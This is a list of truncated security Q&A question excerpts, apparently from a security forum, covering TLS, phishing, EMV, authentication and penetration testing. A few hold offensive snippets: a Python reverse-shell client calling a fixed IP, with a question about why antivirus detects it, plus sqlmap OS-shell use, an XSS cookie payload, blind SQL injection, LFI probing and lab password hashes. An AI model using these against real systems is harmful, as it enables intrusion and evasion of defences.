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How could an app that is malware be on the Google Play store? I found a Bible app "Bible Home" (which exhibits malware like behavior) available for Android on the Play Store. However, after installing it, I didn't see the app. My phone soon asked me if I wanted to use Launcher3 or this new app to be my app launcher -...
I was wondering... if antiviruses store virus definition files that contain virus signatures then why wouldn't they get detected as malware by themselves or Windows Defender or any other AV out there?
I'm trying to understand EAP-TLS authentication, but I'm struggling to understand a few bits: Before the supplicant sends any certificates to the server, it usually verifies the server's identity. After it does, how can it ensure that it's talking to the correct server for further communication, does it establish a t...
I recently received an email message with the subject "San Diego Site Leadership and Management Team sent you an Amazon Gift Card!", sent to my work address, apparently from "Amazon.com Gift Cards <gc-orders@gc.email.amazon.com>". I was suspicious because there was no mention of my employer's name, just a generic messa...
We are in the process of porting our servers from one cloud provider to another. Our SSL certificate is also about to expire. If I generate a new SSL certificate and put it on the new servers, will the about-to-expire certificate continue to work on the old servers? Yes, is my guess. Just wanted expert opinion.
While creating an Android App that uses an API, the most difficult problem to solve is API security. Creating a token and securing it in KeyStores is one thing. But what about a guest user? A guest user requires a Token, and acquiring that Token from the API is not secure, as this API should not require any signing cre...
I was using a dating app, and this person sent a link. When I clicked on it, it led me to Google Maps and I exited immediately, without seeing which location it was showing. I'm scared the person now knows my home address/ip address or some other personal info. I don't know whether the guy was sharing his location, or ...
In order to design and develop a secure system it is important to formulate a threat/adversary/trust/security model for the corresponding system to be able to evaluate the proposed system and help others to know if it is suitable in their prospect applications or not. First, I am a bit confused about the difference...
In order to better protect my Django web app, I want to reduce the leakage of information that could help an attacker profile my application. If you were an attacker, what would you look at to identify a Django web app? From OWASP, I know that this kind of probing... typically examines HTTP header names and values, se...
On Android it is possible to add native libraries provided by the system (/system/lib/) or the vendor (/vendor/lib/) to a system app. For example, the libandroid_runtime.so is loaded with System.load("/system/lib/libandroid_runtime.so"). How are these libraries protected against tampering? Are all libraries signed and ...
Suppose a mischievous coffeeshop wifi gateway wants to drain phone batteries. It is easy to see how it might weaken signals and flip a few bits to wreak NAK havoc at the link level so wifi chip power consumption is maximal. But, how could it waste power on the main CPU chip? With phone wifi speeds now exceeding 1 Gbps,...
I know encrypting something with my private key is used for signing. To prove that the message is indeed coming from me. But what about if I sign something with my public key? That would mean that only I could decrypt it with my private key. Suppose I did this and I sent over my ciphertext (encrypted with my public key...
At my Company, we put a honeypot in our network and it raised us the Lansweeper SSH password used to connect to the scanned assets (and it is reusable over many boxes...). So it is a way for an attacker to get sensitive passwords in a corporate network. I was like "Does SSH not use challenge-response?". Then I thought ...
I understand that XSS attacks can access all globals (like cookies, storage, etc) within the context of the running javascript code, but I would like to understand if they could also have access to any in memory variables as well? For example, there are some suggestions to keep the JWT in memory (and refresh it silentl...
This is obviously not from PayPal, but the font in the word account displayed using odd looking font, is this a security risk to me that Outlook.com displayed this font? See below, Outlook has preview text enabled as default
Issue: Oftentimes people enter google.com directly in the browser's address bar without including either the http:// or https:// prefixes. Using Chrome DevTools on a fresh incognito session, I ran the following experiment: STEPS: ----------------- Enter "google.com" (or equivalently "http://google.com") directly in t...
So, I know how public-private key encryption works. I understand how/why certificates are required. I understand how a SSO flow (IdP initiated) works. But, I do not understand how the three of them happen together. I am confused about what "signing" a SAML assertion means. I'm confused about "encrypted certificates". I...
In Immersive Labs lab "Password Hashes II" What is the plaintext password of 'hash part 1' in the shadow file? shadow.txt contains: part1:$6$WJ9Y7LHr$S3SdnPsXhCzHetPz0CL6TL7gZdeVK/8DZjWvWuKss7gh8CR1VHkwbJyBufg19.4igURrZ6KkZ1rpErbmRnErl0:1001:1001::/home/part1:/bin/bash part2:$6$OiSz6xnZ$ajXWPNxlLIKlxxoQJrOPnY/YvY7b2...
I'm seeing over 1000 attempts to hit my API endpoints with many 500 responses. It seems clear that the would-be attacker is attempting to poke around the APIs, but it isn't clear to me what type of attack they're attempting. Hoping someone here can identify this. Many of the requests include a random string in a handfu...
I once heard that the author of the early NES emulator "Nesticle", clearly a very intelligent person, baffingly used some kind of exploitable "Samba" or "SMB" server running in his home with its source code (and probably other private files/data) on it. The result was that somebody, somehow, managed to break into it an...
I am exploring the AWS KMS as a vault for storing the encryption keys. Now I am trying to encrypt the database fields like email. So, issue whenever there is a read/write for email, I don't want to hit the AWS APIs(using SDK) to encrypt/decrypt. What I am thinking is that, is there a way I can get the plaintext data ke...
Can this be exploited as XSS vulnerability using urls like localhost/?myVar=<script>alert(document.cookie)</script> or though any other possibility? <c:set var="myVar" value="<%=request.getParameter(\"myVar\")%>"/> <c:if test="${myVar == 'VALUE1'}"> <option value="a">A</option> <option value="b">B</option> </c:if...
A company I work with has a number of mobile devices that are used primarily for testing apps and websites. I have advised that to improve security it would be best for each device to be assigned to a specific staff member, and for this staff member to use their company email address to sign in to the device. My reason...
I came across this question Offline brute-forcing of a bank card PIN, which was asked 7 years ago. I'm currently exploring vulnerabilities in EMV protocol, and I wanted to double check if an idea I had in mind is viable. I came across a paper written in 2013, titled Risks of Offline Verify PIN on Contactless Cards, whi...
I am cross-posting this question from Serverfault, because I am in doubt where it fits best. Say I have a server set up for processing sensitive data. The few authorised users of the system are instructed not to copy any of the sensitive data out of the platform, but could in principle do so using scp etc. This is simi...
Tutorials I've come across about implementing magic link authentication (in Node) recommend a mechanism like this: the user hits your endpoint with their email address you generate a signed JWT from the email and the date using a constant key (if you are a bit more savvy, you use the asymmetric RS256 scheme instead of...
Usually, in OSINT when it comes to IP addresses and geolocation the investigator attempts to get a rough location from a public IP address. However, I'm trying to find out more about reversing that process. Let's say in this scenario I know the location of the entity of interest, to about the city level. Obviously you ...
Is it a bad idea to cache randomness in the general case? My feeling is yes, but I'm having a hard time articulating why. Scenario: A programming language of your choice (e.g. node) uses a native call to generate random bytes (e.g. for creating a uuid). It is very hard to predict the random bytes even with access to th...
I'm curious about hashing, because normal hashing is static, it means that a string that gets hashed will always be the same (except for using salt). Because of that situation, there are many websites that are able to "crack" a hash by comparing it to hashes in its database. So I'm curious how much longer regular hashi...
I've received the following suspicious mail in my Gmail inbox, about my password being exposed: As you can see, it comes from gaia.bounces.google.com and is signed by accounts.google.com. But there are two weird things about it: It is written in Portuguese. I live in Spain (but near the border with Portugal, just in ...
I'm looking into creating a CA certificate strategy where i work. And i was wondering if anyone had any points of interest to raise around the difference of a model where our .com and key subdomains use the same cert with SAN entries... versus each subdomain (microservices/apis of the same site) having its own cert? I'...
I have a hardware security module connected to a host computer (Windows/Linux). The HSM contains symmetric keys used to encrypt/decrypt data (i.e. files and real-time communications); the keys are stored inside the memory of the HSM and their values are never exposed outside of the HSM. The HSM exposes a login/logout A...
In the EMV documentation (EMV Book 3 Section 6.5.10), the PIN Change/Unblock command provides the option to change or unblock a card's PIN, and also handles resetting the PIN Try Counter (EMV tag 0x9F17) along the way. This command is an issuer script, meaning it is sent by the issuing bank to an ATM or a POS which the...
Using sqlmap I was able to gain access to one database and using --current-user and --privileges. I can confirm that the user is root@localhost with full privileges. The part I have problem with is that I don't understand how the --os-shell works. I have googled a lot but all the tutorials are using easy targets which ...
I'm running kali Linux on VirtualBox. I ran sudo ifconfig to get my IP and subnet mask (X.X.X.15 and 255.255.255.0 for eth0) I tried the command nmap -oG X.X.X.0-255 -vv but I got Read data files from: /usr/bin/../share/nmap WARNING: No targets were specified, so 0 hosts scanned. Nmap done: 0 IP addresses (0 hosts up)...
I read a comment on here that goes something like "trying to hide user authentication from an XSS attack is like reinforcing your fridge against a nuclear bomb; at that point, you've got much bigger problems to worry about, and nothing you reinforce your fridge with will be effective anyway". Is this accurate?
I know someone can break open the case, but what about opening it without leaving evidence? Are there any seals available for securing your laptop from unauthorized access? And sealing the sides of the laptop with superglue
I'm trying to discover what cipher suites are being offered by my corporate proxy. It's set up as a man in the middle so my "secure" connections are to it, and it attempts to create a secure connection to my target. Specifically, I'm looking to view the list of ciphers presented by the proxy in the ClientHello message...
Numerous websites allow us to build and execute C code from web browsers (repl.it, onlinegdb.com, ideone.com...). For my own application (education purposes) I would like to do the same on my web backend. My current solution is to use an Alpine Docker container with gcc constrained with ulimits. To avoid mounting files...
Guests need to use Wi-Fi when they come by, so to minimize risk, I've simply kept a secondary secured router running for guests since it's not possible to understand anybody's computer & security habits with certainty. The guest router is starting to go bad and the cost of new high performance routers are high. If I op...
I know that there are many open source projects that focus on web scraping and automation testing. The prominent ones are Puppeteer and Selenium. But these projects are not recognized as bots in recaptcha-like bot detection mechanism - at least during my experiments. For instance, I used Puppeteer and recaptcha for thi...
I imagine like either leaked or otherwise published official memos on efforts and signals intelligence programs to intercept and crack different types of communications either lamenting or chronicling the technical difficulties in doing so and resultant "blind spots". Or, for example, the spectacular national FBI/Apple...
When Alice and Bob both have the same shared secret to encrypt their data (Diffie-Hellman) and Alice encrypts her data with this key and Bob can decrypt it with the same key, then Bob knows that the message comes from Alice. So why is still HMAC needed?
I have learned that the certificate is something that contain information about a public key. An article on wikipedia says Public Key Certificate as well. If we are talking about private key, it's not a certificate, but a key that corresponds with the public key certificate. On Microsoft Azure I have found this sentenc...
I have run into this issue on my first website I pushed live. I have a website that has been live for a couple of months. It had 30 people signed up over that period which as suddenly spiked up to 150+ in the last 3 days and counting. I've noticed every single one has a "real" sounding email address and then a random s...
I am curious about why I can't duplicate the OpenSK key. I have a few keys that I put the same certificate and private key on them but they are different. I found it useful to have a duplicate key in case of hardware failure, breaking, losing, etc.
I'm trying to verify that a smartcard (possibly doctored by an attacker) has access to the (ECDSA P-384) private key for which I was given a (signed) public key, in order to verify that the card is genuine. In order to do that, I should pass a random nonce to the card, ask it to sign it, and verify the result against t...
I am having trouble answering what seems like a simple question. I was hoping to find a Yep/Nope style list somewhere, but can't seem to find one. What data should be encrypted in a cloud (e.g. AWS/Azure) database? I have researched ICO as well as Stack Exchange Posts, but can't find a direct answer. Obviously password...
I saw VLC (Windows) gets updates from an unencrypted URL: HTTP, not HTTPS! Do you think there's a risk for a man-in-the-middle attack?
On July 21 2020 a business was subjected to DDoS attacks crashing their system and causing a very expensive problem. My IP address was used and I am being blamed and have to explain how my IP address was identified as the source of the problem. For what it's worth I have since discovered a lot of malware running on my...
I want to sell my old 4TB Hard Drive. Of course I want no one to steal my data. Overwriting the whole drive with zeros with dd if=/dev/zero of=/dev/sda would take about 18h. But I cannot reboot my PC for 18 hours because I think dd always starts writing at sector 0 so it cannot continue and would start from the beginni...
I'm creating a quantum random number generator as part of my thesis. As part of the research phase, I'm trying to substantiate my aspertion that encryption is significantly weakened if a computer system has poor entropy available to it. However, I can't seem to find any specific attacks that exploit this weakness. Does...
yesterday I accidentally searched up a website and misspelled a character and it took me to an obscene website that I was horrified by on my school laptop. I was also on my school account. Can my school see what I looked up?
My school can track my browsing when I'm at home and using the Google account they gave me, the laptop is my personal one. Is there a way that they could track what I do, even though I'm on my other Google account? My school email has been on my laptop for a year or 2 and I'm just concerned that they could track things...
I've used cleanbrowsing.org as a DNS filter, created an administrator account, logged in into that account, changed my usual (admin) account to a normal user and set the new admin account with a long password that I can't remember (copy paste password). This should be a measure to clean my browsing results and if I'm i...
Background In practicing pentesting a VM on Vulnhub I encountered an issue that is quite interesting with Brainpan. After initial access with a limited shell generated from a BoF exploit on a service running on port 9999, I did some basic enumeration and found the following : sudo -l revealed that the current shell us...
I am getting this error in my device: javax.net.ssl.SSLException: hostname in certificate didn't match: <ec2-5-43-58-857.us-east-2.compute.amazonaws.com> != <na> So I did some research and found I could set alternative IP address in an OpenSSL config and then generate new keys/certs. This is my config [ubuntu@ip-172-3...
SSH certificates are a recent addition to the protocol, and I see them as being used mostly for the clients. Can the server use an SSH certificate too? And if so, is it possible to have mutual SSH authentication between a client and a server, all done via certificates?
I am currently writing a program that sends an encrypted file to the client, and I don't want the user to be able to access the file directly (though the client program will operate on it). Since the client will be written in Java, which is prone to reverse engineering methods like decompilers as well as things like ja...
I had some files that I want to recover from windows, but I formatted the ssd drive to macos (apfs)? Is there a tool or method to recover those files?
I am developing a web app and while testing it on burpsuite I found that it is vulnerable to the proxy SSL certificate. I did some research and found that it was handled by a technique called SSL pinning. But the main problem in front of me is that most of the browsers have deprecated certain kinds of SSL pinning. Plea...
I have an iPhone XR with the latest updates. I use Microsoft Authenticator for some 2 step verification for work related stuff. Today I enabled the Instagram two factor security option and choose the app authentication. This prompted me to download an authenticator by DUO security. So I gave that a try. Once downloaded...
Are you familiar with the Element chat system of https://app.element.io ? Are you familiar with its connections to Matrix.org (for a free account)? Is there a way that I can sniff this traffic on the OS when I hit the enter key on a message so that I can confirm that Google Chrome on Linux only sends this encrypted mes...
I received this email for my hosting: Please see the forwarded e-mail below for more details. Apparently, your server is used for hacking which is strictly forbidden by our ToS. > 167. - [09/Oct/2020:15:37:42 +0200] "GET /wp-login.php HTTP/1.1" 200 10581 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/2010...
It is technically allowed by many programming languages to supply parameters in POST requests as part of the URL, similar to a GET request. You can do this in addition to supplying parameters in the body of the POST request at the same time. I just stumbled upon an application that's using such POST requests containing...
Let's say you have a website https://example.org which is being decommissioned and redirected to https://example.net. Your users have a cookie on https://example.org which contains some authentication token for the backend services (e.g. https://backend.example.org). You want the redirect on https://example.org to also...
I have an interesting question and I really want to get an answer to this. What does my ISP see if I change my DNS server and I use an HTTPS connection? Firstly, when I use my ISP's DNS server: So, I think, when I type a certain URL in my browser (for example https://google.com), I send a request through my ISP to my I...
I have an upcoming exam for a Security course. The following question has come up a couple times in past exams and I could use some help formulating an answer. Suppose a user downloads an unsigned application software (say an email client) from the Internet. If an attacker is able to inject any arbitrary code into the...
When converting the reverse shell client.py python file to exe with pyinstaller it becomes detectable as a trojan on virustotal.com with most antivirus. Here is my client file: import os, socket, subprocess s = socket.socket() host = '192.168.1.81' port = 9999 s.connect((host,port)) while True: data = s.recv(1024...
For Linux, if we want to test local file inclusion we always search for /etc/passwd For old versions of Windows, (e.g. Windows XP) we search for win.ini What file should I search for in later versions of Windows that is readable and always there?
I found that secp384r1 is supported in almost all web browsers and it is considered secure. My question is: Is it okay if i use only secp384r1 and up named groups? Are there any disadvantages considering that the server is only accessible with TLSv1.2 and up so browser support issues are almost non existent?
I need to perform sensitive REST API calls between 2 server applications that I am writing. To do this I need to be able authenticate the server that is performing the sensitive API calls. The current architecture + what I need to add in orange: *All servers are exposed to the internet. What I thought to do is: Limit...
This was for a CTF (it ended yesterday, so I'm not cheating), but I've spent so many hours on it that I really just want to understand what I should have done. Here is the PasteBin Hex Dump. I imported and followed the TCP stream and get a flag, but it's not correct, looking at the packets there are several errors thou...
I have accessed a database and using --is-dba , I know that the user IS NOT database admin and also using --privileges , I know that the privileges is USAGE . Now I want to know is this the reason that sqlmap is only dumping the ID column of the table? current user is DBA: False [12:57:03] [INFO] fetching database user...
You have a User table: UserID (auto-incrementing Integer) Password hash LastLogin All related tables are linked by the UserID. You also have a Username table: Username Salt IncorrectLoginCount LockedUntil etc. A user creates an account. You take the Username + Password and a unique, random salt and hash it all togeth...
Today I have observed very strange scenario which appears to be attempts to hack an account. So first, let me tell the pre-story: I have started to receive 2-factor authentication SMS messages from Google/Microsoft/Facebook/Instagram with similar content (like use 1234 to verify your account, and similar). What is more...
I'm trying to harden a Linux installation on a personal computer - I decided to try both SELinux and AppArmor as a Mandatory Access Control (MAC) to supplement the default Discretionary Access Control (DAC) that Linux comes with by default. However, after having played around with both solutions for a couple of days it...
I am developing a web app and wanted it to be secure from attacks from the application layer. Currently, my website is allowing interception from Burpsuite like certificate proxy software. Is there a way to block requests from frontend whenever we run the website on an insecure certificate? If that is not possible, can...
http://hunger.hu/webgl.html WARNING: only visit this website, it you don't mind crashing your PC! so how is this possible? the website dates back to 2014! It is 2020 and by only visiting a website causes it to crash? backup links for the html page: backup page#1: https://pastebin.com/cjti4FRt backup page#2: https://pas...
I noticed that the default behavior of Tor browser is to use POST method for all DuckDuckGo searches even when that's not the default DuckDuckGo setting. At first I thought it'd be to protect the search query from the exit node believing that TLS doesn't encrypt the HTTP header but, I was wrong. I found that HTTP Heade...
I run my own IMAP server on my own machine, and am the only user of it. The server uses a self-signed certificate that I generated with OpenSSL. I don't use the certificate for any other purpose. I connect to the server only from the local machine, and from my laptop when travelling, and I make sure to validate the ...
I have an SQL injection in a query where I control the sort direction parameter i.e: SELECT * from x where y=y ORDER BY COLUMN_NAME [SORT_DIRECTION] When I control the SORT_DIRECTION, which is normally ASC or DESC, how do I turn this into a blind SQL injection?
When one verifies a certificate that came alongside a signature for some sort of code, is there a standard that specifies what shall be verified? For example, if I'm to verify a certificate that came alongside a SSL response from a server, I can follow RFC-6125. For emails, there is RFC-5750. So I was wondering if ther...
Sometimes given the laws and the circumstances one is subjected to, obtaining an official SSL Certificate for a webservice might be extraordinarily difficult if not illegal. For those who are stuck with having to self-sign their sites, is there anyway of providing my certificate to an out-of-band verification or author...
I'm on Windows 10 last build and for a few days it looks like I have a malware that modifies ethereum addresses in my clipboard. I sadly tried a lot of antivirus, antispyware and nothing is found. I think I have a FUD malware. Is there a tool to catch a process that modifies my clipboard? Maybe any sysinternal tools?
I'm trying to analyze my flutter app's network traffic so I used burp suite for intercepting. First, I'm using the proxy option of burpsuite. I set my PC's IP address and port as 8080. Also in my Android device I set the proxy in WiFi with hostname as my PC IP address and port as 8080. Then I also installed the certifi...
I always wonder about the generic statements about the security of passwords. Isn't it a huge difference if the password is used for an online account or for local data encryption? For example an ebay account or some local ZIP file encryption? Some 8 digit password with upper- and lowercase plus numbers is having an en...
One thing I've had hammered into me by pretty much every security expert I've talked to is that security by obfuscation is not a substitute for actual security measures. However, it has me wondering; are there any valid cases for security by obfuscation, when used in conjunction with other methods of security? Or does ...
During my IT school years, I was told that including rows identifiers from a database in the resource URL, in the context of a REST API, is a bad practice. To my understanding, the rationale behind this statement is that exposing technical database identifiers is a security breach. For instance, say I have a table USER...
I run an instance of a log aggregation product in the cloud, installed on a VM. I've strictly configured it's networking settings, internal firewall, internal port redirection, strong admin password, valid HTTPS certificate, etc. The web interface is publicly open to the web by design and I can't limit the access to it...
Hello i am developing an app that collects some private data from my clients. My clients wont like it if i am able to read the data. So the data is encrypted in cleint side with a key say "xyz",which is auto generated when client install the app/make a account and only with this key can someone read this data. Now when...
The title is pretty self explanatory. The market is pretty secretive about these kinds of matter since companies won't give out vulnerabilities for attackers to abuse and will give out vulnerabilities that are solved and attackers would think the same way, but maybe an unsolved attack was leaked somewhere and I'm inter...
I'm not certain whether WSL 2 instances, running in Hyper-V, are actually scanned by Windows Defender. I have found some articles on Google describing Window Defender's performance impact on WSL, but they are not mentioning whether they are talking about WSL 1 or WSL 2. Indeed, it's possible for Windows Defender to sca...
It's well known that web clients are easy to fingerprint, and you can see that the same is true for other protocols like email and BitTorrent. This begs the question: which protocols aren't easy to fingerprint? Specifically, protocols possessing multiple client implementations (e.g. not freenet) that support upload and...
I'm working on security assessment of thick client application created using ULC. It is black box approach. Based on wiki (wiki.c2.com): "Ultra Light Client (ULC) for Java is a widget set that enables a Swing Look and Feel for Servlets". What I would like to do is to use SQLMap to test backend database. Intercepted tra...
Are smart plugs safe, Xiaomi ones in particular (Zigbee and WI-FI versions)? My main concern is that the plug is connected to Mi account and allows remote management. In case hacker gains access, can he reboot it dozens of times per second, so that would lead to spark, shortage and ultimately cause fire? Should I be c...
Today I was on Steam and someone sent me a link and asked me to vote for him in some online gaming league. I clicked on it and the browser told me that this could be an unsafe link so I didn't proceed further. Then I opened in another browser to see if it was a legit site. I see that this was a domain registered today ...
As far as I understand they do pretty much the same.
First off, I know very little about cryptography, as I am sure my post below makes clear. The short version is I presume I need to use the -o (offset) function of pkcrack, but I'm not sure how to work out what offset I need. I have an old .wmv file (around 65MB) that I encrypted in a zip file about 11 years ago, and I'...
Say I have a private key as a user of an existing application for SSH, password management, etc. As far as I know if it is in shared storage, any application with storage permissions can access it. If the application that requires such a key doesn't save it to it's application storage, is there any way to securely stor...